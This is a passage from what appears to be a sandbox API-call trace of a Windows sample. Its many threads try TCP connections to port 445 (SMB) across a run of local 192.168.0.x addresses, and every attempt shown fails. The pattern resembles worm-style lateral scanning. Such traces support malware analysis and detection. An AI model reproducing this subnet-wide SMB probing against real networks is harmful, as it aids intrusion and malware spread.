(hostshort=0x1bd) returned 0xbd01 [0076.383] connect (s=0x96c, name=0xb95fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.59"), namelen=16) returned -1 [0097.583] closesocket (s=0x96c) returned 0 [0097.583] WSACleanup () returned 0 [0097.583] GetCurrentThreadId () returned 0x698 [0097.583] GetCurrentThreadId () returned 0x698 [0097.583] GetCurrentThreadId () returned 0x698 Thread: id = 143 os_tid = 0x490 [0076.384] GetCurrentThreadId () returned 0x490 [0076.384] GetCurrentThreadId () returned 0x490 [0076.384] GetCurrentThreadId () returned 0x490 [0076.384] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xba9fdf0 | out: lpWSAData=0xba9fdf0) returned 0 [0076.384] socket (af=2, type=1, protocol=0) returned 0x978 [0076.384] inet_addr (cp="192.168.0.51") returned 0x3300a8c0 [0076.384] htons (hostshort=0x1bd) returned 0xbd01 [0076.384] connect (s=0x978, name=0xba9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.51"), namelen=16) returned -1 [0097.583] closesocket (s=0x978) returned 0 [0097.583] WSACleanup () returned 0 [0097.583] GetCurrentThreadId () returned 0x490 [0097.584] GetCurrentThreadId () returned 0x490 [0097.584] GetCurrentThreadId () returned 0x490 Thread: id = 144 os_tid = 0x73c [0076.476] GetCurrentThreadId () returned 0x73c [0076.476] GetCurrentThreadId () returned 0x73c [0076.476] GetCurrentThreadId () returned 0x73c [0076.476] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xbbdfdf0 | out: lpWSAData=0xbbdfdf0) returned 0 [0076.476] socket (af=2, type=1, protocol=0) returned 0x98c [0076.476] inet_addr (cp="192.168.0.60") returned 0x3c00a8c0 [0076.476] htons (hostshort=0x1bd) returned 0xbd01 [0076.476] connect (s=0x98c, name=0xbbdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.60"), namelen=16) returned -1 [0097.584] closesocket (s=0x98c) returned 0 [0097.584] WSACleanup () returned 0 [0097.584] GetCurrentThreadId () returned 0x73c [0097.584] GetCurrentThreadId () returned 0x73c [0097.584] GetCurrentThreadId () returned 0x73c Thread: id = 145 os_tid = 0x180 [0076.477] GetCurrentThreadId () returned 0x180 [0076.477] GetCurrentThreadId () returned 0x180 [0076.477] GetCurrentThreadId () returned 0x180 [0076.477] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xbd1fdf0 | out: lpWSAData=0xbd1fdf0) returned 0 [0076.477] socket (af=2, type=1, protocol=0) returned 0x998 [0076.477] inet_addr (cp="192.168.0.52") returned 0x3400a8c0 [0076.477] htons (hostshort=0x1bd) returned 0xbd01 [0076.477] connect (s=0x998, name=0xbd1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.52"), namelen=16) returned -1 [0097.584] closesocket (s=0x998) returned 0 [0097.584] WSACleanup () returned 0 [0097.584] GetCurrentThreadId () returned 0x180 [0097.584] GetCurrentThreadId () returned 0x180 [0097.584] GetCurrentThreadId () returned 0x180 Thread: id = 146 os_tid = 0x494 [0076.571] GetCurrentThreadId () returned 0x494 [0076.571] GetCurrentThreadId () returned 0x494 [0076.571] GetCurrentThreadId () returned 0x494 [0076.571] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xbe5fdf0 | out: lpWSAData=0xbe5fdf0) returned 0 [0076.571] socket (af=2, type=1, protocol=0) returned 0x9ac [0076.571] inet_addr (cp="192.168.0.61") returned 0x3d00a8c0 [0076.571] htons (hostshort=0x1bd) returned 0xbd01 [0076.571] connect (s=0x9ac, name=0xbe5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.61"), namelen=16) returned -1 [0097.677] closesocket (s=0x9ac) returned 0 [0097.677] WSACleanup () returned 0 [0097.677] GetCurrentThreadId () returned 0x494 [0097.677] GetCurrentThreadId () returned 0x494 [0097.677] GetCurrentThreadId () returned 0x494 Thread: id = 147 os_tid = 0x888 [0076.582] GetCurrentThreadId () returned 0x888 [0076.582] GetCurrentThreadId () returned 0x888 [0076.582] GetCurrentThreadId () returned 0x888 [0076.582] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xbf9fdf0 | out: lpWSAData=0xbf9fdf0) returned 0 [0076.582] socket (af=2, type=1, protocol=0) returned 0x9b8 [0076.582] inet_addr (cp="192.168.0.53") returned 0x3500a8c0 [0076.582] htons (hostshort=0x1bd) returned 0xbd01 [0076.582] connect (s=0x9b8, name=0xbf9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.53"), namelen=16) returned -1 [0097.677] closesocket (s=0x9b8) returned 0 [0097.677] WSACleanup () returned 0 [0097.677] GetCurrentThreadId () returned 0x888 [0097.677] GetCurrentThreadId () returned 0x888 [0097.677] GetCurrentThreadId () returned 0x888 Thread: id = 148 os_tid = 0x8f8 [0076.664] GetCurrentThreadId () returned 0x8f8 [0076.664] GetCurrentThreadId () returned 0x8f8 [0076.664] GetCurrentThreadId () returned 0x8f8 [0076.664] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc0dfdf0 | out: lpWSAData=0xc0dfdf0) returned 0 [0076.664] socket (af=2, type=1, protocol=0) returned 0x9cc [0076.664] inet_addr (cp="192.168.0.62") returned 0x3e00a8c0 [0076.664] htons (hostshort=0x1bd) returned 0xbd01 [0076.665] connect (s=0x9cc, name=0xc0dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.62"), namelen=16) returned -1 [0097.879] closesocket (s=0x9cc) returned 0 [0097.879] WSACleanup () returned 0 [0097.879] GetCurrentThreadId () returned 0x8f8 [0097.879] GetCurrentThreadId () returned 0x8f8 [0097.880] GetCurrentThreadId () returned 0x8f8 Thread: id = 149 os_tid = 0x15c [0076.666] GetCurrentThreadId () returned 0x15c [0076.666] GetCurrentThreadId () returned 0x15c [0076.666] GetCurrentThreadId () returned 0x15c [0076.666] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc21fdf0 | out: lpWSAData=0xc21fdf0) returned 0 [0076.666] socket (af=2, type=1, protocol=0) returned 0x9d8 [0076.668] inet_addr (cp="192.168.0.54") returned 0x3600a8c0 [0076.668] htons (hostshort=0x1bd) returned 0xbd01 [0076.668] connect (s=0x9d8, name=0xc21fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.54"), namelen=16) returned -1 [0097.880] closesocket (s=0x9d8) returned 0 [0097.880] WSACleanup () returned 0 [0097.880] GetCurrentThreadId () returned 0x15c [0097.880] GetCurrentThreadId () returned 0x15c [0097.880] GetCurrentThreadId () returned 0x15c Thread: id = 150 os_tid = 0x5dc [0076.758] GetCurrentThreadId () returned 0x5dc [0076.758] GetCurrentThreadId () returned 0x5dc [0076.758] GetCurrentThreadId () returned 0x5dc [0076.758] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc35fdf0 | out: lpWSAData=0xc35fdf0) returned 0 [0076.758] socket (af=2, type=1, protocol=0) returned 0x9ec [0076.759] inet_addr (cp="192.168.0.63") returned 0x3f00a8c0 [0076.759] htons (hostshort=0x1bd) returned 0xbd01 [0076.759] connect (s=0x9ec, name=0xc35fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.63"), namelen=16) returned -1 [0097.880] closesocket (s=0x9ec) returned 0 [0097.880] WSACleanup () returned 0 [0097.880] GetCurrentThreadId () returned 0x5dc [0097.880] GetCurrentThreadId () returned 0x5dc [0097.880] GetCurrentThreadId () returned 0x5dc Thread: id = 151 os_tid = 0xae8 [0076.760] GetCurrentThreadId () returned 0xae8 [0076.760] GetCurrentThreadId () returned 0xae8 [0076.760] GetCurrentThreadId () returned 0xae8 [0076.760] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc49fdf0 | out: lpWSAData=0xc49fdf0) returned 0 [0076.760] socket (af=2, type=1, protocol=0) returned 0x9f8 [0076.760] inet_addr (cp="192.168.0.55") returned 0x3700a8c0 [0076.760] htons (hostshort=0x1bd) returned 0xbd01 [0076.760] connect (s=0x9f8, name=0xc49fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.55"), namelen=16) returned -1 [0097.881] closesocket (s=0x9f8) returned 0 [0097.881] WSACleanup () returned 0 [0097.881] GetCurrentThreadId () returned 0xae8 [0097.881] GetCurrentThreadId () returned 0xae8 [0097.881] GetCurrentThreadId () returned 0xae8 Thread: id = 152 os_tid = 0x874 [0076.851] GetCurrentThreadId () returned 0x874 [0076.851] GetCurrentThreadId () returned 0x874 [0076.851] GetCurrentThreadId () returned 0x874 [0076.851] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc5dfdf0 | out: lpWSAData=0xc5dfdf0) returned 0 [0076.852] socket (af=2, type=1, protocol=0) returned 0xa0c [0076.852] inet_addr (cp="192.168.0.64") returned 0x4000a8c0 [0076.852] htons (hostshort=0x1bd) returned 0xbd01 [0076.852] connect (s=0xa0c, name=0xc5dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.64"), namelen=16) returned -1 [0098.098] closesocket (s=0xa0c) returned 0 [0098.098] WSACleanup () returned 0 [0098.098] GetCurrentThreadId () returned 0x874 [0098.098] GetCurrentThreadId () returned 0x874 [0098.098] GetCurrentThreadId () returned 0x874 Thread: id = 153 os_tid = 0x8a4 [0076.853] GetCurrentThreadId () returned 0x8a4 [0076.853] GetCurrentThreadId () returned 0x8a4 [0076.853] GetCurrentThreadId () returned 0x8a4 [0076.853] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc71fdf0 | out: lpWSAData=0xc71fdf0) returned 0 [0076.853] socket (af=2, type=1, protocol=0) returned 0xa18 [0076.854] inet_addr (cp="192.168.0.56") returned 0x3800a8c0 [0076.854] htons (hostshort=0x1bd) returned 0xbd01 [0076.854] connect (s=0xa18, name=0xc71fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.56"), namelen=16) returned -1 [0098.099] closesocket (s=0xa18) returned 0 [0098.099] WSACleanup () returned 0 [0098.099] GetCurrentThreadId () returned 0x8a4 [0098.099] GetCurrentThreadId () returned 0x8a4 [0098.099] GetCurrentThreadId () returned 0x8a4 Thread: id = 154 os_tid = 0x8b4 [0076.951] GetCurrentThreadId () returned 0x8b4 [0076.951] GetCurrentThreadId () returned 0x8b4 [0076.951] GetCurrentThreadId () returned 0x8b4 [0076.951] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc85fdf0 | out: lpWSAData=0xc85fdf0) returned 0 [0076.951] socket (af=2, type=1, protocol=0) returned 0xa2c [0076.952] inet_addr (cp="192.168.0.65") returned 0x4100a8c0 [0076.952] htons (hostshort=0x1bd) returned 0xbd01 [0076.952] connect (s=0xa2c, name=0xc85fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.65"), namelen=16) returned -1 [0098.099] closesocket (s=0xa2c) returned 0 [0098.099] WSACleanup () returned 0 [0098.099] GetCurrentThreadId () returned 0x8b4 [0098.099] GetCurrentThreadId () returned 0x8b4 [0098.099] GetCurrentThreadId () returned 0x8b4 Thread: id = 155 os_tid = 0x854 [0076.953] GetCurrentThreadId () returned 0x854 [0076.953] GetCurrentThreadId () returned 0x854 [0076.953] GetCurrentThreadId () returned 0x854 [0076.953] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc99fdf0 | out: lpWSAData=0xc99fdf0) returned 0 [0076.953] socket (af=2, type=1, protocol=0) returned 0xa38 [0076.953] inet_addr (cp="192.168.0.57") returned 0x3900a8c0 [0076.953] htons (hostshort=0x1bd) returned 0xbd01 [0076.953] connect (s=0xa38, name=0xc99fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.57"), namelen=16) returned -1 [0098.100] closesocket (s=0xa38) returned 0 [0098.100] WSACleanup () returned 0 [0098.100] GetCurrentThreadId () returned 0x854 [0098.100] GetCurrentThreadId () returned 0x854 [0098.100] GetCurrentThreadId () returned 0x854 Thread: id = 156 os_tid = 0x894 [0077.091] GetCurrentThreadId () returned 0x894 [0077.091] GetCurrentThreadId () returned 0x894 [0077.091] GetCurrentThreadId () returned 0x894 [0077.091] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcadfdf0 | out: lpWSAData=0xcadfdf0) returned 0 [0077.091] socket (af=2, type=1, protocol=0) returned 0xa4c [0077.091] inet_addr (cp="192.168.0.66") returned 0x4200a8c0 [0077.091] htons (hostshort=0x1bd) returned 0xbd01 [0077.091] connect (s=0xa4c, name=0xcadfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.66"), namelen=16) returned -1 [0098.301] closesocket (s=0xa4c) returned 0 [0098.301] WSACleanup () returned 0 [0098.301] GetCurrentThreadId () returned 0x894 [0098.301] GetCurrentThreadId () returned 0x894 [0098.301] GetCurrentThreadId () returned 0x894 Thread: id = 157 os_tid = 0x844 [0077.092] GetCurrentThreadId () returned 0x844 [0077.092] GetCurrentThreadId () returned 0x844 [0077.092] GetCurrentThreadId () returned 0x844 [0077.092] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcc1fdf0 | out: lpWSAData=0xcc1fdf0) returned 0 [0077.092] socket (af=2, type=1, protocol=0) returned 0xa58 [0077.093] inet_addr (cp="192.168.0.58") returned 0x3a00a8c0 [0077.093] htons (hostshort=0x1bd) returned 0xbd01 [0077.093] connect (s=0xa58, name=0xcc1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.58"), namelen=16) returned -1 [0098.301] closesocket (s=0xa58) returned 0 [0098.301] WSACleanup () returned 0 [0098.301] GetCurrentThreadId () returned 0x844 [0098.301] GetCurrentThreadId () returned 0x844 [0098.301] GetCurrentThreadId () returned 0x844 Thread: id = 158 os_tid = 0x864 [0077.178] GetCurrentThreadId () returned 0x864 [0077.178] GetCurrentThreadId () returned 0x864 [0077.178] GetCurrentThreadId () returned 0x864 [0077.178] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcd5fdf0 | out: lpWSAData=0xcd5fdf0) returned 0 [0077.178] socket (af=2, type=1, protocol=0) returned 0xa6c [0077.178] inet_addr (cp="192.168.0.67") returned 0x4300a8c0 [0077.178] htons (hostshort=0x1bd) returned 0xbd01 [0077.178] connect (s=0xa6c, name=0xcd5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.67"), namelen=16) returned -1 [0098.302] closesocket (s=0xa6c) returned 0 [0098.302] WSACleanup () returned 0 [0098.302] GetCurrentThreadId () returned 0x864 [0098.302] GetCurrentThreadId () returned 0x864 [0098.302] GetCurrentThreadId () returned 0x864 Thread: id = 159 os_tid = 0x7b4 [0077.179] GetCurrentThreadId () returned 0x7b4 [0077.179] GetCurrentThreadId () returned 0x7b4 [0077.179] GetCurrentThreadId () returned 0x7b4 [0077.179] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xce9fdf0 | out: lpWSAData=0xce9fdf0) returned 0 [0077.179] socket (af=2, type=1, protocol=0) returned 0xa78 [0077.181] inet_addr (cp="192.168.0.59") returned 0x3b00a8c0 [0077.181] htons (hostshort=0x1bd) returned 0xbd01 [0077.181] connect (s=0xa78, name=0xce9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.59"), namelen=16) returned -1 [0098.302] closesocket (s=0xa78) returned 0 [0098.302] WSACleanup () returned 0 [0098.302] GetCurrentThreadId () returned 0x7b4 [0098.302] GetCurrentThreadId () returned 0x7b4 [0098.302] GetCurrentThreadId () returned 0x7b4 Thread: id = 160 os_tid = 0x7f0 [0077.272] GetCurrentThreadId () returned 0x7f0 [0077.272] GetCurrentThreadId () returned 0x7f0 [0077.272] GetCurrentThreadId () returned 0x7f0 [0077.272] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xcfdfdf0 | out: lpWSAData=0xcfdfdf0) returned 0 [0077.272] socket (af=2, type=1, protocol=0) returned 0xa8c [0077.272] inet_addr (cp="192.168.0.68") returned 0x4400a8c0 [0077.272] htons (hostshort=0x1bd) returned 0xbd01 [0077.272] connect (s=0xa8c, name=0xcfdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.68"), namelen=16) returned -1 [0098.441] closesocket (s=0xa8c) returned 0 [0098.441] WSACleanup () returned 0 [0098.441] GetCurrentThreadId () returned 0x7f0 [0098.441] GetCurrentThreadId () returned 0x7f0 [0098.441] GetCurrentThreadId () returned 0x7f0 Thread: id = 161 os_tid = 0x764 [0077.273] GetCurrentThreadId () returned 0x764 [0077.273] GetCurrentThreadId () returned 0x764 [0077.273] GetCurrentThreadId () returned 0x764 [0077.273] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd11fdf0 | out: lpWSAData=0xd11fdf0) returned 0 [0077.273] socket (af=2, type=1, protocol=0) returned 0xa98 [0077.273] inet_addr (cp="192.168.0.60") returned 0x3c00a8c0 [0077.273] htons (hostshort=0x1bd) returned 0xbd01 [0077.273] connect (s=0xa98, name=0xd11fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.60"), namelen=16) returned -1 [0098.441] closesocket (s=0xa98) returned 0 [0098.441] WSACleanup () returned 0 [0098.441] GetCurrentThreadId () returned 0x764 [0098.442] GetCurrentThreadId () returned 0x764 [0098.442] GetCurrentThreadId () returned 0x764 Thread: id = 162 os_tid = 0x694 [0077.367] GetCurrentThreadId () returned 0x694 [0077.367] GetCurrentThreadId () returned 0x694 [0077.367] GetCurrentThreadId () returned 0x694 [0077.367] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd25fdf0 | out: lpWSAData=0xd25fdf0) returned 0 [0077.367] socket (af=2, type=1, protocol=0) returned 0xaac [0077.368] inet_addr (cp="192.168.0.69") returned 0x4500a8c0 [0077.368] htons (hostshort=0x1bd) returned 0xbd01 [0077.368] connect (s=0xaac, name=0xd25fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.69"), namelen=16) returned -1 [0098.644] closesocket (s=0xaac) returned 0 [0098.644] WSACleanup () returned 0 [0098.644] GetCurrentThreadId () returned 0x694 [0098.644] GetCurrentThreadId () returned 0x694 [0098.644] GetCurrentThreadId () returned 0x694 Thread: id = 163 os_tid = 0x4e4 [0077.368] GetCurrentThreadId () returned 0x4e4 [0077.368] GetCurrentThreadId () returned 0x4e4 [0077.368] GetCurrentThreadId () returned 0x4e4 [0077.368] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd39fdf0 | out: lpWSAData=0xd39fdf0) returned 0 [0077.368] socket (af=2, type=1, protocol=0) returned 0xab8 [0077.369] inet_addr (cp="192.168.0.61") returned 0x3d00a8c0 [0077.369] htons (hostshort=0x1bd) returned 0xbd01 [0077.369] connect (s=0xab8, name=0xd39fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.61"), namelen=16) returned -1 [0098.645] closesocket (s=0xab8) returned 0 [0098.645] WSACleanup () returned 0 [0098.645] GetCurrentThreadId () returned 0x4e4 [0098.645] GetCurrentThreadId () returned 0x4e4 [0098.645] GetCurrentThreadId () returned 0x4e4 Thread: id = 164 os_tid = 0x678 [0077.459] GetCurrentThreadId () returned 0x678 [0077.459] GetCurrentThreadId () returned 0x678 [0077.459] GetCurrentThreadId () returned 0x678 [0077.459] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd4dfdf0 | out: lpWSAData=0xd4dfdf0) returned 0 [0077.459] socket (af=2, type=1, protocol=0) returned 0xacc [0077.459] inet_addr (cp="192.168.0.70") returned 0x4600a8c0 [0077.459] htons (hostshort=0x1bd) returned 0xbd01 [0077.459] connect (s=0xacc, name=0xd4dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.70"), namelen=16) returned -1 [0098.645] closesocket (s=0xacc) returned 0 [0098.645] WSACleanup () returned 0 [0098.645] GetCurrentThreadId () returned 0x678 [0098.645] GetCurrentThreadId () returned 0x678 [0098.645] GetCurrentThreadId () returned 0x678 Thread: id = 165 os_tid = 0x484 [0077.460] GetCurrentThreadId () returned 0x484 [0077.460] GetCurrentThreadId () returned 0x484 [0077.460] GetCurrentThreadId () returned 0x484 [0077.460] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd61fdf0 | out: lpWSAData=0xd61fdf0) returned 0 [0077.460] socket (af=2, type=1, protocol=0) returned 0xad8 [0077.460] inet_addr (cp="192.168.0.62") returned 0x3e00a8c0 [0077.460] htons (hostshort=0x1bd) returned 0xbd01 [0077.460] connect (s=0xad8, name=0xd61fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.62"), namelen=16) returned -1 [0098.646] closesocket (s=0xad8) returned 0 [0098.646] WSACleanup () returned 0 [0098.646] GetCurrentThreadId () returned 0x484 [0098.646] GetCurrentThreadId () returned 0x484 [0098.646] GetCurrentThreadId () returned 0x484 Thread: id = 166 os_tid = 0x284 [0077.553] GetCurrentThreadId () returned 0x284 [0077.553] GetCurrentThreadId () returned 0x284 [0077.553] GetCurrentThreadId () returned 0x284 [0077.553] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd75fdf0 | out: lpWSAData=0xd75fdf0) returned 0 [0077.553] socket (af=2, type=1, protocol=0) returned 0xaec [0077.553] inet_addr (cp="192.168.0.71") returned 0x4700a8c0 [0077.553] htons (hostshort=0x1bd) returned 0xbd01 [0077.553] connect (s=0xaec, name=0xd75fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.71"), namelen=16) returned -1 [0098.896] closesocket (s=0xaec) returned 0 [0098.896] WSACleanup () returned 0 [0098.896] GetCurrentThreadId () returned 0x284 [0098.896] GetCurrentThreadId () returned 0x284 [0098.896] GetCurrentThreadId () returned 0x284 Thread: id = 167 os_tid = 0x5f8 [0077.554] GetCurrentThreadId () returned 0x5f8 [0077.554] GetCurrentThreadId () returned 0x5f8 [0077.554] GetCurrentThreadId () returned 0x5f8 [0077.554] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd89fdf0 | out: lpWSAData=0xd89fdf0) returned 0 [0077.554] socket (af=2, type=1, protocol=0) returned 0xaf8 [0077.554] inet_addr (cp="192.168.0.63") returned 0x3f00a8c0 [0077.554] htons (hostshort=0x1bd) returned 0xbd01 [0077.554] connect (s=0xaf8, name=0xd89fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.63"), namelen=16) returned -1 [0098.896] closesocket (s=0xaf8) returned 0 [0098.896] WSACleanup () returned 0 [0098.896] GetCurrentThreadId () returned 0x5f8 [0098.896] GetCurrentThreadId () returned 0x5f8 [0098.896] GetCurrentThreadId () returned 0x5f8 Thread: id = 168 os_tid = 0x8c4 [0077.655] GetCurrentThreadId () returned 0x8c4 [0077.655] GetCurrentThreadId () returned 0x8c4 [0077.655] GetCurrentThreadId () returned 0x8c4 [0077.655] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xd9dfdf0 | out: lpWSAData=0xd9dfdf0) returned 0 [0077.655] socket (af=2, type=1, protocol=0) returned 0xb0c [0077.656] inet_addr (cp="192.168.0.72") returned 0x4800a8c0 [0077.656] htons (hostshort=0x1bd) returned 0xbd01 [0077.656] connect (s=0xb0c, name=0xd9dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.72"), namelen=16) returned -1 [0098.897] closesocket (s=0xb0c) returned 0 [0098.897] WSACleanup () returned 0 [0098.897] GetCurrentThreadId () returned 0x8c4 [0098.897] GetCurrentThreadId () returned 0x8c4 [0098.897] GetCurrentThreadId () returned 0x8c4 Thread: id = 169 os_tid = 0x634 [0077.656] GetCurrentThreadId () returned 0x634 [0077.656] GetCurrentThreadId () returned 0x634 [0077.656] GetCurrentThreadId () returned 0x634 [0077.657] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdb1fdf0 | out: lpWSAData=0xdb1fdf0) returned 0 [0077.657] socket (af=2, type=1, protocol=0) returned 0xb18 [0077.657] inet_addr (cp="192.168.0.64") returned 0x4000a8c0 [0077.657] htons (hostshort=0x1bd) returned 0xbd01 [0077.657] connect (s=0xb18, name=0xdb1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.64"), namelen=16) returned -1 [0098.897] closesocket (s=0xb18) returned 0 [0098.897] WSACleanup () returned 0 [0098.897] GetCurrentThreadId () returned 0x634 [0098.897] GetCurrentThreadId () returned 0x634 [0098.897] GetCurrentThreadId () returned 0x634 Thread: id = 170 os_tid = 0x64c [0077.739] GetCurrentThreadId () returned 0x64c [0077.740] GetCurrentThreadId () returned 0x64c [0077.740] GetCurrentThreadId () returned 0x64c [0077.740] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdc5fdf0 | out: lpWSAData=0xdc5fdf0) returned 0 [0077.740] socket (af=2, type=1, protocol=0) returned 0xb2c [0077.740] inet_addr (cp="192.168.0.73") returned 0x4900a8c0 [0077.740] htons (hostshort=0x1bd) returned 0xbd01 [0077.740] connect (s=0xb2c, name=0xdc5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.73"), namelen=16) returned -1 [0098.898] closesocket (s=0xb2c) returned 0 [0098.898] WSACleanup () returned 0 [0098.898] GetCurrentThreadId () returned 0x64c [0098.898] GetCurrentThreadId () returned 0x64c [0098.898] GetCurrentThreadId () returned 0x64c Thread: id = 171 os_tid = 0x628 [0077.741] GetCurrentThreadId () returned 0x628 [0077.741] GetCurrentThreadId () returned 0x628 [0077.741] GetCurrentThreadId () returned 0x628 [0077.741] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdd9fdf0 | out: lpWSAData=0xdd9fdf0) returned 0 [0077.741] socket (af=2, type=1, protocol=0) returned 0xb38 [0077.741] inet_addr (cp="192.168.0.65") returned 0x4100a8c0 [0077.741] htons (hostshort=0x1bd) returned 0xbd01 [0077.741] connect (s=0xb38, name=0xdd9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.65"), namelen=16) returned -1 [0098.898] closesocket (s=0xb38) returned 0 [0098.898] WSACleanup () returned 0 [0098.898] GetCurrentThreadId () returned 0x628 [0098.898] GetCurrentThreadId () returned 0x628 [0098.898] GetCurrentThreadId () returned 0x628 Thread: id = 172 os_tid = 0xc04 [0077.849] GetCurrentThreadId () returned 0xc04 [0077.849] GetCurrentThreadId () returned 0xc04 [0077.849] GetCurrentThreadId () returned 0xc04 [0077.849] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdedfdf0 | out: lpWSAData=0xdedfdf0) returned 0 [0077.849] socket (af=2, type=1, protocol=0) returned 0xb4c [0077.850] inet_addr (cp="192.168.0.74") returned 0x4a00a8c0 [0077.850] htons (hostshort=0x1bd) returned 0xbd01 [0077.850] connect (s=0xb4c, name=0xdedfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.74"), namelen=16) returned -1 [0098.898] closesocket (s=0xb4c) returned 0 [0098.899] WSACleanup () returned 0 [0098.899] GetCurrentThreadId () returned 0xc04 [0098.899] GetCurrentThreadId () returned 0xc04 [0098.899] GetCurrentThreadId () returned 0xc04 Thread: id = 173 os_tid = 0xc08 [0077.850] GetCurrentThreadId () returned 0xc08 [0077.850] GetCurrentThreadId () returned 0xc08 [0077.850] GetCurrentThreadId () returned 0xc08 [0077.851] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe01fdf0 | out: lpWSAData=0xe01fdf0) returned 0 [0077.851] socket (af=2, type=1, protocol=0) returned 0xb58 [0077.851] inet_addr (cp="192.168.0.66") returned 0x4200a8c0 [0077.851] htons (hostshort=0x1bd) returned 0xbd01 [0077.851] connect (s=0xb58, name=0xe01fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.66"), namelen=16) returned -1 [0098.899] closesocket (s=0xb58) returned 0 [0098.899] WSACleanup () returned 0 [0098.899] GetCurrentThreadId () returned 0xc08 [0098.899] GetCurrentThreadId () returned 0xc08 [0098.899] GetCurrentThreadId () returned 0xc08 Thread: id = 174 os_tid = 0xc0c [0077.896] GetCurrentThreadId () returned 0xc0c [0077.896] GetCurrentThreadId () returned 0xc0c [0077.896] GetCurrentThreadId () returned 0xc0c [0077.896] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe15fdf0 | out: lpWSAData=0xe15fdf0) returned 0 [0077.896] socket (af=2, type=1, protocol=0) returned 0xb68 [0077.897] inet_addr (cp="192.168.0.75") returned 0x4b00a8c0 [0077.897] htons (hostshort=0x1bd) returned 0xbd01 [0077.897] connect (s=0xb68, name=0xe15fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.75"), namelen=16) returned -1 [0099.430] closesocket (s=0xb68) returned 0 [0099.431] WSACleanup () returned 0 [0099.431] GetCurrentThreadId () returned 0xc0c [0099.431] GetCurrentThreadId () returned 0xc0c [0099.431] GetCurrentThreadId () returned 0xc0c Thread: id = 175 os_tid = 0xc10 [0077.943] GetCurrentThreadId () returned 0xc10 [0077.943] GetCurrentThreadId () returned 0xc10 [0077.943] GetCurrentThreadId () returned 0xc10 [0077.943] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe29fdf0 | out: lpWSAData=0xe29fdf0) returned 0 [0077.943] socket (af=2, type=1, protocol=0) returned 0xb78 [0077.943] inet_addr (cp="192.168.0.67") returned 0x4300a8c0 [0077.943] htons (hostshort=0x1bd) returned 0xbd01 [0077.944] connect (s=0xb78, name=0xe29fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.67"), namelen=16) returned -1 [0099.431] closesocket (s=0xb78) returned 0 [0099.431] WSACleanup () returned 0 [0099.431] GetCurrentThreadId () returned 0xc10 [0099.431] GetCurrentThreadId () returned 0xc10 [0099.431] GetCurrentThreadId () returned 0xc10 Thread: id = 176 os_tid = 0xc14 [0077.989] GetCurrentThreadId () returned 0xc14 [0077.989] GetCurrentThreadId () returned 0xc14 [0077.989] GetCurrentThreadId () returned 0xc14 [0077.989] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe3dfdf0 | 